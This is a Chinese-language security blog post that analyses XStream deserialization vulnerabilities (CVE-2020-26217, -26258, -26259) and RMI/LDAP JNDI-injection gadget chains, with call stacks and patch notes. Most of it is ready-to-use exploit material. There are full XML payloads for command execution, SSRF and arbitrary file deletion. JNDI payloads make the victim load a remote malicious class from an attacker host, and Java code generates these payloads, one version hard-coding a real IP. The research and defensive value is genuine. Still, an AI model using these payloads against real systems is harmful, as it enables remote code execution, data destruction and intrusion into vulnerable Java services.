Diggid's Blog

XStream 反序列化漏洞(2) - CVE-2020-xxx系列

字数统计: 6.4k阅读时长: 32 min
2021/08/16 Share

前言

上一篇文章分析了XStream的架构以及XStream反序列化的原理,并对CVE-2013-7285 & 2019-10173进行了深入分析。这篇文章重点分析CVE-2020-*系列的漏洞,主要是对前面黑白名单的绕过以及寻找新的触发Sink。

CVE-2020-26217

影响版本

1.4.1 - 1.4.13

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>/bin/bash</string>
<string>-c</string>
<string><![CDATA[open /System/Applications/Calculator.app]]></string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

image-20210816173406006

调试时需要关闭IDEA的debug toString

image-20210816163420576

链子

  • 链子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
MapConverter#putCurrentEntryIntoMap
java.util.HashMap#put
java.util.HashMap#hash
jdk.nashorn.internal.objects.NativeString#hashCode
jdk.nashorn.internal.objects.NativeString#getStringValue
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read
java.io.SequenceInputStream#nextStream
java.swingMultiUIDefaults$MultiUIDefaultsEnumerator#nextElement
javax.imageio.spi.FilterIterator#next
javax.imageio.spi.FilterIterator#advance
javax.imageio.ImageIO$ContainsFilter#filter -> method.invoke(elt)
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
filter:614, ImageIO$ContainsFilter (javax.imageio)
advance:834, FilterIterator (javax.imageio.spi)
next:852, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
...

<outer-class>标签

在说这个标签之前,如果你知道this$0、this$1、this$2 ... 是啥意思的话,那这部分就可以跳过了。

this$n是内部类对外部类的引用,外部类的引用名this$n是从外往内递增的,对于内部类而言,只能引用最近一层的外部类。

  • Outclass.java
1
2
3
4
5
6
7
8
9
package demo.testclass;

public class OutClass { // this$0
public class FirstInner { // this$1
public class SecondInner { // this$2

}
}
}
  • Demo6.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package demo;

import demo.testclass.OutClass;

import java.lang.reflect.Field;

public class Demo6 {
public static void main(String[] args) throws Exception{
OutClass outer = new OutClass();
OutClass.FirstInner firstInner = outer.new FirstInner();
OutClass.FirstInner.SecondInner secondInner = firstInner.new SecondInner();
// 以FirstInner为中心
Field this0 = firstInner.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
System.out.println(this0.get(firstInner));

// 以SecondInner为中心,只能引用this$1,不能引用this$0
Field this1 = secondInner.getClass().getDeclaredField("this$1");
this1.setAccessible(true);
System.out.println(this1.get(secondInner));
}
}

而在XStream中,对应关系如下

  • <outer-class> == this$0
  • <outer-class-n> == this$x 。n是指innerFieldNames数组的index(外部类的index永远最大),this$x就单纯的外部类名称。特别注意这里,可能会给人一种误区,一个内部类可以持有多个外部类对象,但仔细想想是不可能的呀,内部类只能嵌套在一个外部类之中,哪来的多个外部类。

所以在正常情况下,outer-class就表示唯一的那个外部类,可能是this$0,也可能是this$1,具体根据外部类的层数来决定。那XStream这里为何要多搞一个<out-class-n>呢,直接<out-class>表示不就完事了。我觉得这里是考虑有一种情况,如果一个内部类中有名为this$n(n为数字)的变量,那么XStream中<out-class>标签实际获取到的是这个this$n而不是真正的外部类对象,所以这里就会出现错误。所以我们需要<outer-class-n>中的n来指定应该获取的外部类,具体原因在下面的代码分析中。比如将上面的OutClass类改一下

1
2
3
4
5
6
7
public class OutClass { // this$0
public class FirstInner { // this$1
public class SecondInner { // this$2
public String this$2;
}
}
}

通过以下xml才能正确获取外部类

1
2
3
4
5
<xxx class="demo.testclass.OutClass$FirstInner$SecondInner">
<outer-class-1>
...
</outer-class-1>
</xxx>

具体看一下XStream的解析行为。ArrayList$Itr这个内部类没有具体的Converter,所以分配的是优先级最低的ReflectionConverter

image-20210816192745399

ReflectionConverter#unmarshal中调用instantiateNewInstance默认实例化ArrayList$Itr后,可以看见其成员变量,注意一下this$0对应的其实就是out-class,具体再跟进一下doUnmarshal方法

image-20210816193130016

先获取标签名originalNodeName,再调用mapper.realMember()获取标签名所代表的真正的类名,和mapper.realClass()获取过程类似。根据优先级关系,会先调用到OuterClassMapper#realMember(),这里是关键。这里的解析逻辑就和上面的对应关系一样了,如果是out-class,那么获取到的idx就默认为0,如果是out-class-n,那么获取到的idx就为n,而通过getInnerFieldNames()获取到的是命为this$开头的所有属性,包括正常的属性和内部类属性,以上面为例,获取到的是innerFieldNames[this$2,this$1],但真正的外部类是this$1

image-20210817115421076

image-20210817115531371

获取外部类名后返回到doUnmarshal中,调用reflectionProvider.getFieldOrNull(类, 属性类名)来获取Field(因此要求标签名和属性名一样)。

image-20210817131308687

而后根据标签是否具有class属性来获取Field的类型(type)

image-20210817131342909

获取了type之后,调用unmarshallField来获取Field标签的值,实际还是调用对应type的Convertor来解析获取。最后调用reflectionProvider.writeField为类设置属性,底层调用的是sun.misc.Unsafe#putXxx方法。同时对该属性名和属性代表的类进行缓存。

至此,解析<outer-class>标签的整个过程就结束了。对于ArrayList这个类,是一个可迭代的对象。而ArrayList$Itr内部类维护的就是ArrayList的元素,也就是说,ArrayList的迭代操作是ArrayList$Itr来完成的,所以给Itr设置的this$0外部类其实就是ArrayList,调用ArrayList#iterator()其实就是返回内部的可迭代对象Itr,然后用Itr#next()来迭代ArrayList的元素

Source - HashMap#put

触发点是在java.util.HashMap#put,XStream恢复HashMap对象时,熟悉CC6这条链的话,会知道HashMap的反序列化需要调用key的hashCodeequals等方法,所以这条链就是从开始的

1
2
3
java.util.HashMap#put
java.util.HashMap#hash
jdk.nashorn.internal.objects.NativeString#hashCode

跟进看一下NativeString#hashCode

image-20210817133226189

继续跟进getStringValue,这里调用了this.value.toString()。这就有点PHP找POP链内味了,只不过这里是用xml在XStream中提前设置好属性,但java找链的难点就是类无数多,且方法也无数多,类之间的关系也比较复杂。这里设置的value是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data

image-20210817133314444

Medium - toString链

跟进Base64Data#toString

image-20210817134625462

跟进this.get()this.dataHandler可控,看一下这玩意设置的变量基本可以洞见这条链的大概脉络了。这里的this.data默认就是null,所以不用多余设置。通过this.dataHandler.getDataSource().getInputStream();获取到的是SequenceInputStream

image-20210817134934468

image-20210817134753043

调用baos#readFrom(is),跟进看一下。第一个if不成立不会进入,那么就会进入SequenceInputStream#read()的逻辑。

image-20210817135343563

SequenceInputStream的作用是将多个输入流合并为一个流,其构造参数传入的是一个Enumeration对象,该枚举对象保存的就是多个流。所以在底层肯定会调用nextElement()方法

image-20210817135811470

具体看一下read方法,这里需要设置in非null,所以

image-20210817140256224

image-20210817140141699

跟进nextStream(),调用了可控e.nextElement(),这里的迭代器设置为MultiUIDefaults#MultiUIDefaultsEnumerator

image-20210817140446899

继续跟进MultiUIDefaults$MultiUIDefaultsEnumerator#nextElement()。这里的type设置为KEYSELEMENTS都可以,iterator设置的是javax.imageio.spi.ServiceRegistry$FilterIterator

image-20210817140829409

继续跟进next方法,要求这里的next变量不为null,所以这里起码得写一下,不写的话默认是null,写的话是new Object[0]

image-20210817141059469

image-20210817141004837

继续跟进advance()elt变量取出来的就是我们前面outer-class设置的ArrayList的元素,即ProcessBuilder

image-20210817141910551

Sink - ImageIO$ContainsFilter#filter

最后在Sink点处ImageIO$ContainsFilter#filtermethod完全可控,设置为start即可。eltProcessBuilder,然后反射触发命令执行。

image-20210817142218467

如何生成链子

  • 纯手写xml的POC
  • 利用XStream来写。具体一点,是利用Unsafe类和Sun14ReflectionProvider类来写

用第二种方式方便一些。

  • CVE_2020_26217.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package genpoc;

import com.sun.tools.javadoc.Start;
import com.thoughtworks.xstream.XStream;
import utils.Reflections;

import java.io.ByteArrayInputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;

public class CVE_2020_26217 {
public static void main(String[] args) throws Exception{
String cmd = "open /System/Applications/Calculator.app";
ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-c", cmd);
ArrayList al = new ArrayList();
al.add(pb);

Object method = Reflections.getObject("java.lang.reflect.Method");
Reflections.writeField(method, "clazz", Class.forName("java.lang.ProcessBuilder"));
Reflections.writeField(method, "name", "start");
Reflections.writeField(method, "parameterTypes", new Class[0]);

Object cf = Reflections.getObject("javax.imageio.ImageIO$ContainsFilter");
Reflections.writeField(cf, "method", method);
Reflections.writeField(cf, "name", "start");

Object fi = Reflections.getObject("javax.imageio.spi.FilterIterator");
Reflections.writeField(fi, "iter", al.iterator());
Reflections.writeField(fi, "filter", cf);
Reflections.writeField(fi, "next", new Object[0]); // next需要非null

Object me = Reflections.getObject("javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator");
Reflections.writeField(me, "iterator", fi);
Reflections.writeField(me, "type", Class.forName("javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator$Type").getEnumConstants()[0]);

Object si = Reflections.getObject("java.io.SequenceInputStream");
Reflections.writeField(si, "e", me);
Reflections.writeField(si, "in", new ByteArrayInputStream(new byte[0]));

Object xds = Reflections.getObject("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");
Reflections.writeField(xds, "is", si);

Object dh = Reflections.getObject("javax.activation.DataHandler");
Reflections.writeField(dh, "dataSource", xds);

Object bd = Reflections.getObject("com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data");
Reflections.writeField(bd, "dataHandler", dh);
Reflections.writeField(bd, "data", null); // data需要设置为null

Object ns = Reflections.getObject("jdk.nashorn.internal.objects.NativeString");
Reflections.writeField(ns, "value", bd);

HashMap hm = new HashMap(1);
hm.put("foo", "foo");
Object[] table = (Object[]) Reflections.getFieldValue(hm, "table");
Reflections.setFieldValue(table[1], "key", ns);
System.out.println(new XStream().toXML(hm));
}
}
  • 工具类:Reflections
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
package utils;

import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

import com.thoughtworks.xstream.converters.reflection.Sun14ReflectionProvider;
import sun.misc.Unsafe;
import sun.reflect.ReflectionFactory;

import com.nqzero.permit.Permit;

@SuppressWarnings("restriction")
public class Reflections {

public static Unsafe unsafe = initUnsafe();
public static Sun14ReflectionProvider reflectionProvider = new Sun14ReflectionProvider();

private static Unsafe initUnsafe() {
try {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
} catch (NoSuchFieldException | IllegalAccessException e) {
return null;
}
}

public static Object getObject(String clsName) {
try {
Class cls = Class.forName(clsName);
return unsafe.allocateInstance(cls);
} catch (Exception e){
e.printStackTrace();
return null;
}
}

public static void writeField (Object obj, String fName, Object fValue) {
try {
Field field = reflectionProvider.getFieldOrNull(obj.getClass(), fName);
reflectionProvider.writeField(obj, fName, fValue, field.getDeclaringClass());
}catch (Exception e) {
e.printStackTrace();
}
}

public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

// 这个常用来设置各种类变量的值
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

// 获取第一个构造器
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}

public static Object newInstance(String className, Object... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}

public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

// 处理构造器不可访问的类实例化
@SuppressWarnings({"unchecked"})
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass,
Class<?>[] consArgTypes, Object[] consArgs)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
// classToInstantiate是constructorClass的子类,为什么不直接实例化classToInstantiate,而需要调用constructorClass这一父类的构造器最后再强转?
// 原因:(1)跳过newConstructorForSerialization方法中第一个if,防止直接返回父类
// (2)获取到的 sc 还是 constructorClass 这个父类的构造器,实例化向下转型
// (3)ReflectionFactory的newConstructorForSerialization实例化对象不调用构造器
Constructor<?> sc =
ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
// 强转为T,这也是为什么要求constructorClass是T的父类
return (T) sc.newInstance(consArgs);
}
}

修复

在1.4.14中,为之前默认初始化的permissions中添加了黑名单,整个黑白名单规则是

  • 白名单:Exception及其子类
  • 黑名单
    • EventHandlerProcessBuilderImageIO$ContainsFilter
    • javax.crypto.开头的类
    • $LazyIterator结尾的类

也就是说,1.4.14修复了Sink点ContainsFilter和执行命令的ProcessBuilder,但并没有从源头杀死整个链子,因此还可以复用链子的前半部分构造其他的Sink点。且思路不局限于RCE,可以找SSRF、任意文件操作、XXE、JNDI注入等。

CVE-2020-26258 SSRF

复用了Base64Data之前的链子,连接URLDataSource#getInputStream来实现SSRF

影响版本

1.4.1 - 1.4.14

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://127.0.0.1:8888</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

分析

1
2
3
4
5
6
7
8
MapConverter#putCurrentEntryIntoMap
java.util.HashMap#put
java.util.HashMap#hash
jdk.nashorn.internal.objects.NativeString#hashCode
jdk.nashorn.internal.objects.NativeString#getStringValue
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
javax.activation.URLDataSource#getInputStream
java.net.URL#openStream -> openConnection().getInputStream()

一个很常规的SSRF,跟一下URLDataSource#getInputStream()

image-20210818115618300

继续跟进URL#openStream()

image-20210818115705568

这里就是经典SSRF的地方了,调用openConnection().getInputStream()openConnection()根据设置的URL的值来获取不同协议的连接类XxxURLConnection,然后调用getInputStream()触发连接获取数据流。

image-20210818120155061

CVE-2020-26259 任意文件删除

复用XMLMessage$XmlDataSource之前的链子,连接ReadAllStream$FileStream#实现任意文件删除

影响版本

1.4.1 - 1.4.14

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/Users/a861881/tmp/test</tempFile>
</is>
</dataSource>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

分析

1
2
3
4
5
6
7
MapConverter#putCurrentEntryIntoMap
java.util.HashMap#put
java.util.HashMap#hash
jdk.nashorn.internal.objects.NativeString#hashCode
jdk.nashorn.internal.objects.NativeString#getStringValue
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.ws.util.ReadAllStream$FileStream#close -> this.tempFile.delete()

先回看一下Base64Data#get(),在26217是在baos.readFrom中调用的is.read(),而这里是直接调用的is.close()。所以Base64Data#get()中有两个Gadgets连接点,一个是read,一个是close

image-20210818121835117

继续跟进ReadAllStream$FileStream#close,一目了然。

image-20210818121722062

修复

1.4.15版本,又新增了默认的黑名单,先是把链子靠前部分NativeString给ban了,这样可以复用的地方就没了,所以之后再挖的话就是从零开始一条新链了。而且也ban掉了以.ReadAllStream$FileStream结尾的类。

image-20210818131809965

在野CVE - JNDI注入

这里是参考的@Sm1le师傅交的链子https://mp.weixin.qq.com/s/qNNI3GIy71Z3b7TZiH49Gw

关于JNDI注入,可以参考我的另一篇文章,有具体的调试流程,便于理解后面的一些类。

RMI

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<java.util.HashMap>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>rmi://IP:1099/Evil</string>
</names>
<ctx class="com.sun.jndi.rmi.registry.RegistryContext">
<environment/>
<registry class="sun.rmi.registry.RegistryImpl_Stub" serialization="custom">
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>IP</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>IP</host>
<port>1099</port>
</ctx>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</java.util.HashMap>

分析

复用的是java.io.SequenceInputStream#nextStream之前的部分,找到com.sun.jndi.rmi.registry.BindingEnumeration打RMI型JNDI注入。

1
2
3
4
5
6
7
8
9
10
11
MapConverter#putCurrentEntryIntoMap
java.util.HashMap#put
java.util.HashMap#hash
jdk.nashorn.internal.objects.NativeString#hashCode
jdk.nashorn.internal.objects.NativeString#getStringValue
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read
java.io.SequenceInputStream#nextStream
com.sun.jndi.rmi.registry.BindingEnumeration#nextElement
com.sun.jndi.rmi.registry.BindingEnumeration#next -> RegistryContext.lookup()

跟进看一下,但这里的context是com.sun.jndi.rmi.registry.RegistryContext,只能打rmi。然后根据这里的代码设置一下属性即可。

image-20210818133938418

如何生成POC

关注一下BindingEnumeration这个类,本身对这个类十分不熟悉,只能硬看

image-20210818152716681

  • ctx:RegistryContext类
  • names:jndi注入的地址数组,直接设置成地址即可。

问题在于RegistryContext对象怎么拿。如果熟悉RMI JNDI注入的话,在RMI攻击端,我们需要Registry注册中心,还需要获取恶意类的引用Reference,然后吧Reference包装在ReferenceWrapper中,之后就可以通过Registry.bind("xxx", wrapper)来注册了。而受害端通过lookup获取注册在服s务端的恶意类从而触发。上面提到的攻击端设置的东西可以说是RegistryContext的一部分。具体看一下该类的属性

image-20210818153946617

那么问题又来了,registry是啥,这里直接分析也不太好分析。所以这里采取的办法是反射设置相关的属性然后一步步获取到RegistryContext,完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.jndi.rmi.registry.RegistryContext;
import com.sun.jndi.url.rmi.rmiURLContext;
import com.thoughtworks.xstream.XStream;

import javax.naming.InitialContext;
import javax.naming.spi.ResolveResult;
import java.lang.reflect.Method;
import java.util.Hashtable;

public class Test {
public static void main(String[] args) throws Exception{
// InitialContext#getURLOrDefaultInitCtx ->
// rmiURLContext#getRootURLContext ->
// ResolveResult#getResolvedObj ->
// RegistryContext
InitialContext ctx = new InitialContext();
Method m = Class.forName("javax.naming.InitialContext").getDeclaredMethod("getURLOrDefaultInitCtx", new Class[]{String.class});
m.setAccessible(true);
rmiURLContext rmict x = (rmiURLContext) m.invoke(ctx, new Object[]{"rmi://101.132.159.30:1099/Evil"});
Method getctx = Class.forName("com.sun.jndi.url.rmi.rmiURLContext").getDeclaredMethod("getRootURLContext", new Class[]{String.class, Hashtable.class});
getctx.setAccessible(true);
ResolveResult res = (ResolveResult) getctx.invoke(rmictx, new Object[]{"rmi://101.132.159.30:1099/Evil", new Hashtable<>()});
RegistryContext rctx = (RegistryContext) res.getResolvedObj();
System.out.println(rctx);
System.out.println(new XStream().toXML(rctx));
}
}

LDAP

LDAP找到是com.sun.jndi.ldap.LdapBindingEnumeration

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
<java.util.HashMap>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='com.sun.jndi.ldap.LdapBindingEnumeration'>
<cleaned>false</cleaned>
<entries>
<com.sun.jndi.ldap.LdapEntry>
<DN>xxx</DN>
<attributes class="javax.naming.directory.BasicAttributes"
serialization="custom">
<javax.naming.directory.BasicAttributes>
<default>
<ignoreCase>false</ignoreCase>
</default>
<int>4</int>
<javax.naming.directory.BasicAttribute serialization="custom">
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>objectClass</attrID>
</default>
<int>1</int>
<string>javanamingreference</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization="custom">
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaCodeBase</attrID>
</default>
<int>1</int>
<string>http://IP:7777/</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization="custom">
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaClassName</attrID>
</default>
<int>1</int>
<string>any</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization="custom">
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaFactory</attrID>
</default>
<int>1</int>
<string>Evil</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttributes>
</attributes>
</com.sun.jndi.ldap.LdapEntry>
</entries>
<limit>1</limit>
<posn>0</posn>
<homeCtx>
<__contextType>0</__contextType>
<port__number>0</port__number>
<handleReferrals>0</handleReferrals>
<hasLdapsScheme>false</hasLdapsScheme>
<netscapeSchemaBug>false</netscapeSchemaBug>
<referralHopLimit>0</referralHopLimit>
<batchSize>0</batchSize>
<deleteRDN>false</deleteRDN>
<typesOnly>false</typesOnly>
<derefAliases>0</derefAliases>
<addrEncodingSeparator></addrEncodingSeparator>
<connectTimeout>0</connectTimeout>
<readTimeout>0</readTimeout>
<waitForReply>false</waitForReply>
<replyQueueSize>0</replyQueueSize>
<useSsl>false</useSsl>
<useDefaultPortNumber>false</useDefaultPortNumber>
<parentIsLdapCtx>false</parentIsLdapCtx>
<hopCount>0</hopCount>
<unsolicited>false</unsolicited>
<sharable>false</sharable>
<enumCount>0</enumCount>
<closeRequested>false</closeRequested>
</homeCtx>
<more>true</more>
<hasMoreCalled>true</hasMoreCalled>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</java.util.HashMap>

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MapConverter#putCurrentEntryIntoMap
java.util.HashMap#put
java.util.HashMap#hash
jdk.nashorn.internal.objects.NativeString#hashCode
jdk.nashorn.internal.objects.NativeString#getStringValue
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read
java.io.SequenceInputStream#nextStream
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextElement
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextImpl
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextAux
com.sun.jndi.ldap.LdapBindingEnumeration#createItem
javax.naming.spi.DirectoryManager#getObjectInstance -> Evil.getObjectInstance()

直接跟进到com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next() ,注意设置hasMoreCalledtrue

image-20210819145445471

继续跟进nextImpl() -> nextAux(),设置posnlimit为合适的值,同时LdapEntry设置为Ldap所需的参数

image-20210819145528287

继续跟进this.createItem(),如果熟悉InitialContext().lookup()的执行流的话,会发现这个createItem方法和LdapCtx#c_lookup的关键部分基本一毛一样,Obj.decodeObject()是用来获取reference的,然后传入DirectoryManager.getObjectInstance中最终会从codebase中获取Evil.class然后newInstance初始化后,会调用Evil恶意工厂类的getObjectInstance从而触发恶意代码RCE

image-20210819150020323

image-20210819145808077

如何生成POC

回溯一下LdapBindingEnumeration的几个关键变量,大都是继承父类AbstractLdapNamingEnumeration的:

  • entries:LdapEntry数组,设置一个即可
  • hasMoreCalled:设置为true
  • more:设置为true
  • limit:比posn大,设置为1即可
  • homeCtx:设置为任意LdapCtx即可

主要看一下LdapEntry

image-20210819152032675

attributes是一个Attributes类,用来设置ldap的相关参数,比如javaClassNamejavaFactoryobjectClassjavaCodeBase等,这里如果一开始不清楚的话,建议调试一下new InitialContext().lookup("xxx")来看一下具体的参数

image-20210819152655926

image-20210819152729944

